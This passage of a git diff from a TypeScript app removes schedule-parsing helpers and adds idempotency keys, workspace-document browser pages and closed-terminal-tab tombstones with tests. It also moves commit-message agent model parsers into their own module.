-  return parseCronExpression(trimmed)
-}
-
-export function isValidAutomationSchedule(schedule: string): boolean {
-  try {
-    const parsed = parseSchedule(schedule)
-    if (parsed.kind === 'cron' && !cronHasPossibleOccurrence(parsed, Date.now())) {
-      throw new Error('Cron schedule has no possible run.')
-    }
-    return true
-  } catch {
-    return false
-  }
-}
-
-export function isValidAutomationCronSchedule(schedule: string): boolean {
-  try {
-    const parsed = parseCronExpression(schedule.trim())
-    return cronHasPossibleOccurrence(parsed, Date.now())
-  } catch {
-    return false
-  }
-}
-
-export function parseAutomationRrule(rrule: string): {
-  preset: AutomationSchedulePreset
-  hour: number
-  minute: number
-  dayOfWeek: number
-} {
-  const rule = parseRrule(rrule)
-  if (rule.freq === 'HOURLY') {
-    return { preset: 'hourly', hour: rule.byHour, minute: rule.byMinute, dayOfWeek: 1 }
-  }
-  if (rule.freq === 'DAILY') {
-    return { preset: 'daily', hour: rule.byHour, minute: rule.byMinute, dayOfWeek: 1 }
-  }
-  if (rule.byDay.join(',') === WEEKDAY_CODES.join(',')) {
-    return { preset: 'weekdays', hour: rule.byHour, minute: rule.byMinute, dayOfWeek: 1 }
-  }
-  if (rule.byDay.length !== 1) {
-    throw new Error('Invalid recurrence day.')
-  }
-  const dayCode = rule.byDay[0]
-  const dayOfWeek = DAY_CODES.indexOf(dayCode as (typeof DAY_CODES)[number])
-  if (dayOfWeek === -1) {
-    throw new Error('Invalid recurrence day.')
-  }
-  return {
-    preset: 'weekly',
-    hour: rule.byHour,
-    minute: rule.byMinute,
-    dayOfWeek
-  }
-}
-
-export function tryParseAutomationRrule(
-  rrule: string
-): ReturnType<typeof parseAutomationRrule> | null {
-  try {
-    return parseAutomationRrule(rrule)
-  } catch {
-    return null
-  }
-}
 
 /** Clock-time portion of a schedule label; numeric shape follows the OS region by convention. */
 export function formatAutomationScheduleTime(hour: number, minute: number): string {
@@ -502,194 +195,3 @@ export function describeAutomationSchedule(
     return { kind: 'invalid' }
   }
 }
-
-function atLocalTime(dayMs: number, hour: number, minute: number): number {
-  const date = new Date(dayMs)
-  date.setHours(hour, minute, 0, 0)
-  return date.getTime()
-}
-
-function startOfLocalDay(timestamp: number): number {
-  const date = new Date(timestamp)
-  date.setHours(0, 0, 0, 0)
-  return date.getTime()
-}
-
-function dayMatches(rule: ParsedRrule, timestamp: number): boolean {
-  if (rule.freq === 'DAILY') {
-    return true
-  }
-  const code = DAY_CODES[new Date(timestamp).getDay()]
-  return rule.byDay.includes(code)
-}
-
-function scanDayCandidates(rule: ParsedRrule, anchor: number, direction: 1 | -1): number | null {
-  let day = startOfLocalDay(anchor)
-  for (let i = 0; i < 370; i += 1) {
-    const candidate = atLocalTime(day, rule.byHour, rule.byMinute)
-    if (dayMatches(rule, candidate)) {
-      if (direction === 1 && candidate > anchor) {
-        return candidate
-      }
-      if (direction === -1 && candidate <= anchor) {
-        return candidate
-      }
-    }
-    day += direction * DAY_MS
-  }
-  return null
-}
-
-function floorToMinute(timestamp: number): number {
-  const date = new Date(timestamp)
-  date.setSeconds(0, 0)
-  return date.getTime()
-}
-
-function cronMatches(rule: ParsedCron, timestamp: number): boolean {
-  if (!cronDateMatches(rule, timestamp)) {
-    return false
-  }
-  const date = new Date(timestamp)
-  return rule.hours.has(date.getHours()) && rule.minutes.has(date.getMinutes())
-}
-
-function cronDateMatches(rule: ParsedCron, timestamp: number): boolean {
-  const date = new Date(timestamp)
-  if (!rule.months.has(date.getMonth() + 1)) {
-    return false
-  }
-  const dayOfMonthMatches = rule.daysOfMonth.has(date.getDate())
-  const dayOfWeekMatches = rule.daysOfWeek.has(date.getDay())
-  if (rule.dayOfMonthRestricted && rule.dayOfWeekRestricted) {
-    return dayOfMonthMatches || dayOfWeekMatches
-  }
-  return dayOfMonthMatches && dayOfWeekMatches
-}
-
-function cronHasPossibleOccurrence(rule: ParsedCron, anchor: number): boolean {
-  let day = startOfLocalDay(anchor)
-  for (let i = 0; i < CRON_SCAN_DAYS; i += 1) {
-    if (cronDateMatches(rule, day)) {
-      return true
-    }
-    day += DAY_MS
-  }
-  return false
-}
-
-export function buildAutomationRrule(args: {
-  preset: Exclude<AutomationSchedulePreset, 'custom'>
-  hour: number
-  minute: number
-  dayOfWeek?: number
-}): string {
-  const hour = Math.max(0, Math.min(23, Math.floor(args.hour)))
-  const minute = Math.max(0, Math.min(59, Math.floor(args.minute)))
-  if (args.preset === 'hourly') {
-    return `FREQ=HOURLY;BYMINUTE=${minute}`
-  }
-  if (args.preset === 'weekdays') {
-    return `FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR;BYHOUR=${hour};BYMINUTE=${minute}`
-  }
-  if (args.preset === 'weekly') {
-    const day = DAY_CODES[Math.max(0, Math.min(6, Math.floor(args.dayOfWeek ?? 1)))]
-    return `FREQ=WEEKLY;BYDAY=${day};BYHOUR=${hour};BYMINUTE=${minute}`
-  }
-  return `FREQ=DAILY;BYHOUR=${hour};BYMINUTE=${minute}`
-}
-
-export function buildAutomationCronSchedule(args: {
-  preset: Exclude<AutomationSchedulePreset, 'custom'>
-  hour: number
-  minute: number
-  dayOfWeek?: number
-}): string {
-  const hour = Math.max(0, Math.min(23, Math.floor(args.hour)))
-  const minute = Math.max(0, Math.min(59, Math.floor(args.minute)))
-  if (args.preset === 'hourly') {
-    return `${minute} * * * *`
-  }
-  if (args.preset === 'weekdays') {
-    return `${minute} ${hour} * * 1-5`
-  }
-  if (args.preset === 'weekly') {
-    const day = Math.max(0, Math.min(6, Math.floor(args.dayOfWeek ?? 1)))
-    return `${minute} ${hour} * * ${day}`
-  }
-  return `${minute} ${hour} * * *`
-}
-
-export function nextAutomationOccurrenceAfter(
-  rrule: string,
-  dtstart: number,
-  after: number
-): number {
-  const rule = parseSchedule(rrule)
-  if (rule.kind === 'cron') {
-    let candidate = floorToMinute(Math.max(dtstart, after))
-    if (candidate <= after) {
-      candidate += MINUTE_MS
-    }
-    if (candidate < dtstart) {
-      candidate = floorToMinute(dtstart)
-      if (candidate < dtstart) {
-        candidate += MINUTE_MS
-      }
-    }
-    for (let i = 0; i < CRON_SCAN_MINUTES; i += 1) {
-      if (cronMatches(rule, candidate)) {
-        return candidate
-      }
-      candidate += MINUTE_MS
-    }
-    throw new Error('Unable to compute next automation run.')
-  }
-  if (rule.freq === 'HOURLY') {
-    const start = Math.max(dtstart, after)
-    const base = new Date(start)
-    base.setMinutes(rule.byMinute, 0, 0)
-    let candidate = base.getTime()
-    if (candidate <= after || candidate < dtstart) {
-      candidate += HOUR_MS
-    }
-    return candidate
-  }
-  const candidate = scanDayCandidates(rule, Math.max(dtstart - 1, after), 1)
-  if (candidate === null) {
-    throw new Error('Unable to compute next automation run.')
-  }
-  return candidate
-}
-
-export function latestAutomationOccurrenceAtOrBefore(
-  rrule: string,
-  dtstart: number,
-  now: number
-): number | null {
-  if (now < dtstart) {
-    return null
-  }
-  const rule = parseSchedule(rrule)
-  if (rule.kind === 'cron') {
-    let candidate = floorToMinute(now)
-    for (let i = 0; i < CRON_SCAN_MINUTES && candidate >= dtstart; i += 1) {
-      if (cronMatches(rule, candidate)) {
-        return candidate
-      }
-      candidate -= MINUTE_MS
-    }
-    return null
-  }
-  if (rule.freq === 'HOURLY') {
-    const base = new Date(now)
-    base.setMinutes(rule.byMinute, 0, 0)
-    let candidate = base.getTime()
-    if (candidate > now) {
-      candidate -= HOUR_MS
-    }
-    return candidate >= dtstart ? candidate : null
-  }
-  const candidate = scanDayCandidates(rule, now, -1)
-  return candidate !== null && candidate >= dtstart ? candidate : null
-}
diff --git a/src/shared/automations-types.ts b/src/shared/automations-types.ts
index e3c661f976e..24d9345242d 100644
--- a/src/shared/automations-types.ts
+++ b/src/shared/automations-types.ts
@@ -90,6 +90,8 @@ export type AutomationPrecheckResult = {
 
 export type Automation = {
   id: string
+  /** Optional client request key used to make cross-authority creates retry-safe. */
+  creationKey?: string
   name: string
   prompt: string
   precheck: AutomationPrecheck | null
@@ -169,6 +171,8 @@ export type AutomationRun = {
 }
 
 export type AutomationCreateInput = {
+  /** Optional idempotency key; repeated creates return the original record. */
+  creationKey?: string
   name: string
   prompt: string
   precheck?: AutomationPrecheck | null
diff --git a/src/shared/browser-page-doc-location.ts b/src/shared/browser-page-doc-location.ts
new file mode 100644
index 00000000000..97a9dcc6e27
--- /dev/null
+++ b/src/shared/browser-page-doc-location.ts
@@ -0,0 +1,51 @@
+import type {
+  BrowserPage,
+  BrowserPageDocLocation,
+  BrowserWorkspace
+} from './browser-workspace-types'
+import { relativePathInsideRoot, resolveRuntimePath } from './cross-platform-path'
+
+/**
+ * Why an explicit comparison and not object identity: the mirror rebuilds the workspace's copy of
+ * this on every page change, so identity is never equal and the store would write a new workspace
+ * object — and republish the tab — on every unrelated update.
+ */
+export function browserPageDocLocationsEqual(
+  left: BrowserPageDocLocation | null,
+  right: BrowserPageDocLocation | null
+): boolean {
+  if (left === null || right === null) {
+    return left === right
+  }
+  return left.worktreeId === right.worktreeId && left.filePath === right.filePath
+}
+
+/** True for a page or tab that shows a workspace document rather than a URL. */
+export function isWorkspaceDocSurface(
+  surface: Pick<BrowserPage | BrowserWorkspace, 'docLocation'>
+): boolean {
+  return Boolean(surface.docLocation)
+}
+
+export function remapBrowserPageDocLocation(
+  location: BrowserPageDocLocation,
+  oldWorktreeId: string,
+  newWorktreeId: string,
+  oldWorktreePath?: string,
+  newWorktreePath?: string
+): BrowserPageDocLocation {
+  if (location.worktreeId !== oldWorktreeId) {
+    return location
+  }
+  const relativePath =
+    oldWorktreePath && newWorktreePath
+      ? relativePathInsideRoot(oldWorktreePath, location.filePath)
+      : null
+  return {
+    ...location,
+    worktreeId: newWorktreeId,
+    ...(relativePath !== null && newWorktreePath
+      ? { filePath: resolveRuntimePath(newWorktreePath, relativePath) }
+      : {})
+  }
+}
diff --git a/src/shared/browser-workspace-types.ts b/src/shared/browser-workspace-types.ts
index 010d037efac..52c88642ab1 100644
--- a/src/shared/browser-workspace-types.ts
+++ b/src/shared/browser-workspace-types.ts
@@ -52,10 +52,23 @@ export type BrowserViewportOverride = {
   mobile: boolean
 }
 
+/**
+ * A page that shows a workspace document rather than a URL. The document is the identity: the grant
+ * and the `orca-preview://` URL it is served over are minted when the page mounts and replaced on a
+ * hard reload, so neither may be stored, persisted or published — this is what is, and `url` stays
+ * the blank URL for the whole life of such a page.
+ */
+export type BrowserPageDocLocation = {
+  kind: 'workspace-doc'
+  worktreeId: string
+  filePath: string
+}
+
 export type BrowserPage = {
   id: string
   workspaceId: string
   worktreeId: string
+  /** Blank for a page whose `docLocation` is set; a live grant URL is never written here. */
   url: string
   title: string
   loading: boolean
@@ -74,6 +87,8 @@ export type BrowserPage = {
   remoteBrowserPageClientHosted?: boolean
   /** Active CDP viewport emulation preset. null = default (fill pane, no CDP override) */
   viewportPresetId?: BrowserViewportPresetId | null
+  /** Set on a page that shows a workspace document; absent on every page that shows a URL. */
+  docLocation?: BrowserPageDocLocation | null
 }
 
 export type BrowserWorkspace = {
@@ -106,6 +121,8 @@ export type BrowserWorkspace = {
   canGoForward: boolean
   loadError: BrowserLoadError | null
   createdAt: number
+  /** Mirrored from the active page, like the fields above it. */
+  docLocation?: BrowserPageDocLocation | null
 }
 
 export type BrowserTab = BrowserWorkspace
diff --git a/src/shared/closed-terminal-tab-tombstones.test.ts b/src/shared/closed-terminal-tab-tombstones.test.ts
new file mode 100644
index 00000000000..a2db1828ac3
--- /dev/null
+++ b/src/shared/closed-terminal-tab-tombstones.test.ts
@@ -0,0 +1,109 @@
+import { describe, expect, it } from 'vitest'
+import {
+  CLOSED_TERMINAL_TAB_TOMBSTONE_TTL_MS,
+  MAX_CLOSED_TERMINAL_TAB_TOMBSTONES,
+  pruneClosedTerminalTabTombstones,
+  recordClosedTerminalTabTombstone,
+  reconcileClosedTerminalTabTombstones,
+  type ClosedTerminalTabTombstonesByTabId
+} from './closed-terminal-tab-tombstones'
+
+const NOW = 1_800_000_000_000
+const WT = 'repo-1::/srv/app'
+
+function reconcile(
+  tombstones: ClosedTerminalTabTombstonesByTabId,
+  args: {
+    acknowledgedWorktreeIds?: string[]
+    hostKnownTabIds?: string[]
+    hostRevision?: number
+  }
+): ClosedTerminalTabTombstonesByTabId {
+  return reconcileClosedTerminalTabTombstones({
+    tombstones,
+    acknowledgedWorktreeIds: new Set(args.acknowledgedWorktreeIds ?? [WT]),
+    hostKnownTabIds: new Set(args.hostKnownTabIds ?? []),
+    hostRevision: args.hostRevision,
+    now: NOW
+  })
+}
+
+describe('closed terminal tab tombstones', () => {
+  it('records the closing worktree and time', () => {
+    expect(recordClosedTerminalTabTombstone({}, 'tab-1', WT, NOW)).toEqual({
+      'tab-1': { closedAt: NOW, worktreeId: WT }
+    })
+  })
+
+  it('prunes past the TTL and caps at the newest entries', () => {
+    expect(
+      pruneClosedTerminalTabTombstones(
+        {
+          fresh: { closedAt: NOW - 1_000, worktreeId: WT },
+          stale: { closedAt: NOW - CLOSED_TERMINAL_TAB_TOMBSTONE_TTL_MS - 1, worktreeId: WT }
+        },
+        NOW
+      )
+    ).toEqual({ fresh: { closedAt: NOW - 1_000, worktreeId: WT } })
+
+    const overflowing = Object.fromEntries(
+      Array.from({ length: MAX_CLOSED_TERMINAL_TAB_TOMBSTONES + 10 }, (_, index) => [
+        `tab-${index}`,
+        { closedAt: NOW - index, worktreeId: WT }
+      ])
+    )
+    const capped = pruneClosedTerminalTabTombstones(overflowing, NOW)
+    expect(Object.keys(capped)).toHaveLength(MAX_CLOSED_TERMINAL_TAB_TOMBSTONES)
+    expect(capped['tab-0']).toBeDefined()
+    expect(capped[`tab-${MAX_CLOSED_TERMINAL_TAB_TOMBSTONES + 9}`]).toBeUndefined()
+  })
+})
+
+describe('closed terminal tab tombstone acknowledgement', () => {
+  const tombstones = { 'tab-1': { closedAt: NOW, worktreeId: WT } }
+
+  it('a snapshot carrying no revision acknowledges nothing', () => {
+    expect(reconcile(tombstones, { hostRevision: undefined })).toEqual(tombstones)
+  })
+
+  it('a snapshot with no row for the tombstone worktree acknowledges nothing', () => {
+    const kept = reconcile(tombstones, { acknowledgedWorktreeIds: [], hostRevision: 9 })
+    expect(kept['tab-1']).toEqual({ closedAt: NOW, worktreeId: WT })
+  })
+
+  it('the first omitting snapshot only stamps the revision — it could predate the close', () => {
+    const kept = reconcile(tombstones, { hostRevision: 4 })
+    expect(kept['tab-1']).toEqual({ closedAt: NOW, worktreeId: WT, ackRevision: 4 })
+  })
+
+  it('a strictly newer omitting snapshot retires the tombstone', () => {
+    const stamped = reconcile(tombstones, { hostRevision: 4 })
+    expect(reconcile(stamped, { hostRevision: 5 })['tab-1']).toBeUndefined()
+  })
+
+  it('a repeat of the same revision does not retire it', () => {
+    const stamped = reconcile(tombstones, { hostRevision: 4 })
+    expect(reconcile(stamped, { hostRevision: 4 })['tab-1']).toBeDefined()
+  })
+
+  it('a host that still lists the tab re-arms the watermark instead of retiring', () => {
+    const stamped = reconcile(tombstones, { hostRevision: 4 })
+    const stillListed = reconcile(stamped, { hostRevision: 7, hostKnownTabIds: ['tab-1'] })
+    expect(stillListed['tab-1']).toEqual({ closedAt: NOW, worktreeId: WT, ackRevision: 7 })
+    expect(reconcile(stillListed, { hostRevision: 7 })['tab-1']).toBeDefined()
+    expect(reconcile(stillListed, { hostRevision: 8 })['tab-1']).toBeUndefined()
+  })
+
+  it('a host revision that went backwards never retires', () => {
+    const stamped = reconcile(tombstones, { hostRevision: 40 })
+    const rewound = reconcile(stamped, { hostRevision: 1 })
+    expect(rewound['tab-1']).toEqual({ closedAt: NOW, worktreeId: WT, ackRevision: 40 })
+  })
+
+  it('a tab listed under a different worktree still counts as known to the host', () => {
+    const stamped = reconcile(tombstones, { hostRevision: 4 })
+    expect(
+      reconcile(stamped, { hostRevision: 5, hostKnownTabIds: ['tab-1'] })['tab-1']
+    ).toBeDefined()
+  })
+})
diff --git a/src/shared/closed-terminal-tab-tombstones.ts b/src/shared/closed-terminal-tab-tombstones.ts
new file mode 100644
index 00000000000..3db0a585987
--- /dev/null
+++ b/src/shared/closed-terminal-tab-tombstones.ts
@@ -0,0 +1,104 @@
+import { z } from 'zod'
+
+/** A client's own record that the user closed a terminal tab.
+ *
+ *  Why it must exist: absence alone cannot distinguish "the host was never told" from "the user
+ *  closed it", so the merge keeps the tab — and a `pty.kill` that died on the transport means the
+ *  host keeps listing it forever. This is the close signal that outlives the failed RPC.
+ *  Safe because tab ids are uuids: a tombstoned id never legitimately returns. */
+export type ClosedTerminalTabTombstone = {
+  closedAt: number
+  worktreeId: string
+  /** Newest host revision seen for this tab's scope since the close. Retirement needs a STRICTLY
+   *  newer snapshot that omits the tab, so a pull already in flight when the user closed cannot
+   *  acknowledge a close it predates. */
+  ackRevision?: number
+}
+
+export type ClosedTerminalTabTombstonesByTabId = Record<string, ClosedTerminalTabTombstone>
+
+/** Colocated with the type so the two cannot drift. Must survive a relaunch — omitted from the
+ *  session schema once, and zod silently stripped the map on every launch. */
+export const closedTerminalTabTombstoneSchema = z.object({
+  closedAt: z.number().int().nonnegative(),
+  worktreeId: z.string().min(1),
+  ackRevision: z.number().int().nonnegative().optional()
+})
+
+/** Backstops only — host acknowledgement is the normal exit. These cover a target the user never
+ *  reconnects to, whose tombstones would otherwise never be retired. */
+export const CLOSED_TERMINAL_TAB_TOMBSTONE_TTL_MS = 30 * 24 * 60 * 60 * 1000
+export const MAX_CLOSED_TERMINAL_TAB_TOMBSTONES = 500
+
+export function pruneClosedTerminalTabTombstones(
+  map: ClosedTerminalTabTombstonesByTabId | undefined,
+  now: number
+): ClosedTerminalTabTombstonesByTabId {
+  const entries = Object.entries(map ?? {}).filter(
+    ([, tombstone]) => now - tombstone.closedAt <= CLOSED_TERMINAL_TAB_TOMBSTONE_TTL_MS
+  )
+  entries.sort(([, a], [, b]) => b.closedAt - a.closedAt)
+  return Object.fromEntries(entries.slice(0, MAX_CLOSED_TERMINAL_TAB_TOMBSTONES))
+}
+
+export function recordClosedTerminalTabTombstone(
+  map: ClosedTerminalTabTombstonesByTabId | undefined,
+  tabId: string,
+  worktreeId: string,
+  now: number
+): ClosedTerminalTabTombstonesByTabId {
+  return pruneClosedTerminalTabTombstones({ ...map, [tabId]: { closedAt: now, worktreeId } }, now)
+}
+
+function maxAckRevision(a: number | undefined, b: number | undefined): number | undefined {
+  if (a === undefined) {
+    return b
+  }
+  return b === undefined ? a : Math.max(a, b)
+}
+
+export type ClosedTerminalTabTombstoneAck = {
+  tombstones: ClosedTerminalTabTombstonesByTabId | undefined
+  /** Worktrees this snapshot actually carries a tab row for. A worktree the snapshot says nothing
+   *  about — including one whose path never resolved to a local id — is not evidence of anything,
+   *  so its tombstones are left untouched. */
+  acknowledgedWorktreeIds: ReadonlySet<string>
+  /** Every tab id the snapshot lists, across all worktrees: an id the host still carries anywhere
+   *  has not been acknowledged, whichever worktree it now sits under. */
+  hostKnownTabIds: ReadonlySet<string>
+  hostRevision: number | undefined
+  now: number
+}
+
+/** Retires tombstones the host has demonstrably seen, and stamps the rest with the revision that
+ *  proved it had not yet.
+ *
+ *  Retirement takes a snapshot that both covers the tombstone's worktree and is strictly newer than
+ *  the last one that did — one snapshot alone can be the pull that was already in flight when the
+ *  user closed. Absence never deletes here: a snapshot with no revision, or one carrying no row for
+ *  the worktree, retires nothing. */
+export function reconcileClosedTerminalTabTombstones({
+  tombstones,
+  acknowledgedWorktreeIds,
+  hostKnownTabIds,
+  hostRevision,
+  now
+}: ClosedTerminalTabTombstoneAck): ClosedTerminalTabTombstonesByTabId {
+  const pruned = pruneClosedTerminalTabTombstones(tombstones, now)
+  if (hostRevision === undefined) {
+    return pruned
+  }
+  const kept: ClosedTerminalTabTombstonesByTabId = {}
+  for (const [tabId, tombstone] of Object.entries(pruned)) {
+    if (!acknowledgedWorktreeIds.has(tombstone.worktreeId)) {
+      kept[tabId] = tombstone
+      continue
+    }
+    const observed = tombstone.ackRevision
+    if (!hostKnownTabIds.has(tabId) && observed !== undefined && hostRevision > observed) {
+      continue
+    }
+    kept[tabId] = { ...tombstone, ackRevision: maxAckRevision(observed, hostRevision) }
+  }
+  return kept
+}
diff --git a/src/shared/commit-message-agent-spec.test.ts b/src/shared/commit-message-agent-spec.test.ts
index ce7052d43a9..c9bfb8eb789 100644
--- a/src/shared/commit-message-agent-spec.test.ts
+++ b/src/shared/commit-message-agent-spec.test.ts
@@ -1,7 +1,6 @@
 import { afterEach, describe, expect, it, vi } from 'vitest'
 import {
   COMMIT_MESSAGE_AGENT_SPECS,
-  COMMIT_MESSAGE_MODEL_JSON_STRUCTURE_LIMITS,
   CUSTOM_AGENT_ID,
   DEFAULT_COMMIT_MESSAGE_AGENT_ID,
   getCommitMessageAgentCapability,
@@ -11,14 +10,17 @@ import {
   isCustomAgentId,
   listCommitMessageAgentCapabilities,
   listCommitMessageAgentIds,
+  resolveCommitMessageAgentChoice
+} from './commit-message-agent-spec'
+import {
+  COMMIT_MESSAGE_MODEL_JSON_STRUCTURE_LIMITS,
   parseAntigravityModels,
   parseClaudeModels,
   parseCodexModels,
   parseCursorModels,
   parseLineModels,
-  parsePiModels,
-  resolveCommitMessageAgentChoice
-} from './commit-message-agent-spec'
+  parsePiModels
+} from './commit-message-model-parsers'
 
 afterEach(() => {
   vi.restoreAllMocks()
diff --git a/src/shared/commit-message-agent-spec.ts b/src/shared/commit-message-agent-spec.ts
index c65850ba08a..6223b968b67 100644
--- a/src/shared/commit-message-agent-spec.ts
+++ b/src/shared/commit-message-agent-spec.ts
@@ -1,14 +1,20 @@
 import type { TuiAgent } from './tui-agent'
 import { isTuiAgentEnabled } from './tui-agent-selection'
-import { assertJsonTextStructureWithinLimits } from './json-text-structure-limit'
-import {
-  CLAUDE_MODEL_LIST_ARGS,
-  CLAUDE_MODEL_LIST_STDIN,
-  parseClaudeModelList
-} from './claude-model-list-probe'
 import { labelFromModelId } from './model-id-label'
-
-/* eslint-disable max-lines -- Why: this is the single registry for non-interactive commit-message agents, their model discovery parsers, and UI capabilities. */
+import { buildPrimaryCommitMessageAgentSpecs } from './commit-message-agent-specs-primary'
+import { buildSecondaryCommitMessageAgentSpecs } from './commit-message-agent-specs-secondary'
+import {
+  BASIC_THINKING_LEVELS,
+  CLAUDE_THINKING_LEVELS,
+  OPENAI_THINKING_LEVELS,
+  parseAntigravityModels,
+  parseClaudeModels,
+  parseCodexModels,
+  parseCursorModels,
+  parseLineModels,
+  parsePiModels,
+  withOpenAiThinking
+} from './commit-message-model-parsers'
 
 // Why: this file is the source of truth for non-interactive agent invocation
 // (commit-message generation). It is intentionally separate from
@@ -81,646 +87,22 @@ export type CommitMessageAgentCapability = {
   defaultModelId: string
 }
 
-export const COMMIT_MESSAGE_MODEL_JSON_STRUCTURE_LIMITS = {
-  structuralTokens: 64 * 1024,
-  nestingDepth: 16
-} as const
-
-const BASIC_THINKING_LEVELS: ThinkingLevel[] = [
-  { id: 'low', label: 'Low' },
-  { id: 'medium', label: 'Medium' },
-  { id: 'high', label: 'High' }
-]
-
-const OPENAI_THINKING_LEVELS: ThinkingLevel[] = [
-  { id: 'low', label: 'Low' },
-  { id: 'medium', label: 'Medium' },
-  { id: 'high', label: 'High' },
-  { id: 'xhigh', label: 'Extra High' }
-]
-
-const CLAUDE_THINKING_LEVELS: ThinkingLevel[] = [
-  { id: 'low', label: 'Low' },
-  { id: 'medium', label: 'Medium' },
-  { id: 'high', label: 'High' },
-  { id: 'xhigh', label: 'Extra High' },
-  { id: 'max', label: 'Max' }
-]
-
-function uniqueModels(models: CommitMessageModel[]): CommitMessageModel[] {
-  const seen = new Set<string>()
-  return models.filter((model) => {
-    if (!model.id || seen.has(model.id)) {
-      return false
-    }
-    seen.add(model.id)
-    return true
-  })
-}
-
-function* iterateModelOutputLines(output: string): Generator<string> {
-  let lineStart = 0
-
-  for (let index = 0; index < output.length; index++) {
-    const code = output.charCodeAt(index)
-    if (code !== 10 && code !== 13) {
-      continue
-    }
-
-    yield output.slice(lineStart, index)
-    if (code === 13 && output.charCodeAt(index + 1) === 10) {
-      index++
-    }
-    lineStart = index + 1
-  }
-
-  if (lineStart <= output.length) {
-    yield output.slice(lineStart)
-  }
-}
-
-function withOpenAiThinking(
-  id: string
-): Pick<CommitMessageModel, 'thinkingLevels' | 'defaultThinkingLevel'> {
-  return /(?:gpt-5|codex)/i.test(id)
-    ? { thinkingLevels: OPENAI_THINKING_LEVELS, defaultThinkingLevel: 'low' }
-    : {}
-}
-
-export function parseClaudeModels(stdout: string): CommitMessageModel[] {
-  return uniqueModels(
-    parseClaudeModelList(stdout).map((model) => {
-      const thinkingLevels = CLAUDE_THINKING_LEVELS.filter((level) =>
-        model.effortLevels.includes(level.id)
-      )
-      return {
-        id: model.id,
-        label: model.label,
-        ...(model.description ? { description: model.description } : {}),
-        ...(thinkingLevels.length > 0
-          ? {
-              thinkingLevels,
-              defaultThinkingLevel: thinkingLevels.some((level) => level.id === 'low')
-                ? 'low'
-                : thinkingLevels[0].id
-            }
-          : {}),
-        ...(model.supportsFastMode ? { supportsFastMode: true } : {})
-      }
-    })
-  )
-}
-
-export function parseCodexModels(stdout: string): CommitMessageModel[] {
-  try {
-    assertJsonTextStructureWithinLimits(stdout, COMMIT_MESSAGE_MODEL_JSON_STRUCTURE_LIMITS)
-    const parsed = JSON.parse(stdout) as {
-      models?: {
-        slug?: string
-        display_name?: string
-        supported_reasoning_levels?: { effort?: string }[]
-        default_reasoning_level?: string
-      }[]
-    }
-    return uniqueModels(
-      (parsed.models ?? [])
-        .filter((model) => model.slug && model.display_name)
-        .map((model) => ({
-          id: model.slug!,
-          label: model.display_name!,
-          ...(model.supported_reasoning_levels?.length
-            ? {
-                thinkingLevels: model.supported_reasoning_levels
-                  .map((level) => level.effort)
-                  .filter((effort): effort is string => Boolean(effort))
-                  .map((effort) => ({
-                    id: effort,
-                    label: effort === 'xhigh' ? 'Extra High' : labelFromModelId(effort)
-                  })),
-                defaultThinkingLevel: model.default_reasoning_level ?? 'low'
-              }
-            : {})
-        }))
-    )
-  } catch {
-    return []
-  }
-}
-
-export function parseLineModels(stdout: string): CommitMessageModel[] {
-  const models: CommitMessageModel[] = []
-  for (const rawLine of iterateModelOutputLines(stdout)) {
-    const id = rawLine.trim()
-    if (id.length === 0 || id.includes(' ')) {
-      continue
-    }
-    models.push({
-      id,
-      label: labelFromModelId(id),
-      ...withOpenAiThinking(id)
-    })
-  }
-  return uniqueModels(models)
-}
-
-export function parsePiModels(stdout: string): CommitMessageModel[] {
-  const models: CommitMessageModel[] = []
-  for (const rawLine of iterateModelOutputLines(stdout)) {
-    const parts = getPiModelTableFields(rawLine, 6)
-    if (parts.length < 6 || parts[0] === 'provider') {
-      continue
-    }
-
-    const [provider, model, , , thinking] = parts
-    const id = `${provider}/${model}`
-    models.push({
-      id,
-      label: `${labelFromModelId(provider)} ${labelFromModelId(model)}`,
-      ...(thinking === 'yes'
-        ? {
-            thinkingLevels: [
-              { id: 'off', label: 'Off' },
-              { id: 'low', label: 'Low' },
-              { id: 'medium', label: 'Medium' },
-              { id: 'high', label: 'High' },
-              { id: 'xhigh', label: 'Extra High' }
-            ],
-            defaultThinkingLevel: 'low'
-          }
-        : {})
-    })
-  }
-  return uniqueModels(models)
-}
-
-// Why: model discovery output can include paste-sized noisy lines; only the first fields matter.
-function getPiModelTableFields(line: string, maxFields: number): string[] {
-  const fields: string[] = []
-  let tokenStart = -1
-
-  for (let index = 0; index <= line.length; index += 1) {
-    const isEnd = index === line.length
-    if (!isEnd && !isPiModelTableWhitespace(line.charCodeAt(index))) {
-      if (tokenStart === -1) {
-        tokenStart = index
-      }
-      continue
-    }
-    if (tokenStart !== -1) {
-      fields.push(line.slice(tokenStart, index))
-      tokenStart = -1
-      if (fields.length >= maxFields) {
-        break
-      }
-    }
-  }
-
-  return fields
-}
-
-function isPiModelTableWhitespace(code: number): boolean {
-  return (
-    code === 32 ||
-    (code >= 9 && code <= 13) ||
-    code === 160 ||
-    code === 5760 ||
-    (code >= 8192 && code <= 8202) ||
-    code === 8232 ||
-    code === 8233 ||
-    code === 8239 ||
-    code === 8287 ||
-    code === 12288 ||
-    code === 65279
-  )
-}
-
-export function parseCursorModels(stdout: string): CommitMessageModel[] {
-  const models: CommitMessageModel[] = []
-  for (const rawLine of iterateModelOutputLines(stdout)) {
-    const match = /^([^\s]+)\s+-\s+(.+)$/.exec(rawLine.trim())
-    if (!match) {
-      continue
-    }
-    models.push({
-      id: match[1],
-      label: match[2].replace(/\s+\((?:default|current)\)$/i, ''),
-      ...withOpenAiThinking(match[1])
-    })
-  }
-  return uniqueModels(models)
-}
-
-export function parseAntigravityModels(stdout: string): CommitMessageModel[] {
-  const models: CommitMessageModel[] = []
-  for (const rawLine of iterateModelOutputLines(stdout)) {
-    const id = rawLine.trim()
-    if (id.length === 0) {
-      continue
-    }
-    models.push({
-      id,
-      label: id
-    })
-  }
-  return uniqueModels(models)
-}
-
 export const COMMIT_MESSAGE_AGENT_SPECS: Partial<Record<TuiAgent, CommitMessageAgentSpec>> = {
-  claude: {
-    id: 'claude',
-    label: 'Claude',
-    binary: 'claude',
-    // Why: diffs can be large and `claude -p` reads from stdin natively when no
-    // positional prompt is provided.
-    promptDelivery: 'stdin',
-    buildArgs: ({ model, thinkingLevel }) => [
-      '-p',
-      '--output-format',
-      'text',
-      '--model',
-      model,
-      '--permission-mode',
-      'plan',
-      ...(thinkingLevel ? ['--effort', thinkingLevel] : [])
-    ],
-    modelSource: 'dynamic',
-    // Why: the Claude CLI has no listing subcommand; one list_models control
-    // request over --print stream-json returns the /model picker catalog.
-    // Older CLIs answer with a control error and exit 0, keeping the fallback.
-    modelDiscovery: {
